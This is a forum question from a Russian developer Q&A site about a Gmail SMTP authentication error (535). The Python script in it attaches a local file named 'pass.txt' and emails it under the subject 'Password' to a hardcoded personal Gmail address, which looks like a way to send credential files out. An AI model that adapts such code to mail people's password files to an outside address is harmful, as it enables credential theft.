i229194964
@i229194964
Веб разработчик

Как исправить данную ошибку An error occurred: (535, b'5.7.8 Username and Password not accepted?

import smtplib
import os
import mimetypes
from email import encoders
from email.mime.base import MIMEBase
from email.mime.text import MIMEText
from email.mime.image import MIMEImage
from email.mime.audio import MIMEAudio
from email.mime.multipart import MIMEMultipart

def send_email(addr_from, password, addr_to, files):                            
    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From'] = addr_from                              
    msg['To'] = addr_to                                
    msg['Subject'] = msg_subj                               

    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     

    for f in files:
        if os.path.isfile(f):                               
            attach_file(msg, f)                              
        elif os.path.exists(f):                             
            dir_files = os.listdir(f)                             
            for file in dir_files:                                
                attach_file(msg, os.path.join(f, file))                 

    try:
        server = smtplib.SMTP('smtp.gmail.com', 587)
        server.starttls()
        server.login(addr_from, password)
        server.send_message(msg)
        server.quit()
        print("Email successfully sent.")
    except smtplib.SMTPException as e:
        print(f"An error occurred: {e}")

def attach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype is None or encoding is not None:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)

# Настройки
_from = ""
_password = ""
_to = "roma.hatuaev@gmail.com"                                
files = ["pass.txt"]

send_email(_from, _password, _to, files)

данные правильно введены получаю ошибку An error occurred: (535, b'5.7.8 Username and Password not accepted. For more information, go to\n5.7.8 https://support.google.com/mail/?p=BadCredentials w15-20020a2e958f000000b002d277882eb6sm909777ljh.83 - gsmtp')
  • Вопрос задан
  • 33 просмотра
Пригласить эксперта
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Войти через центр авторизации
Похожие вопросы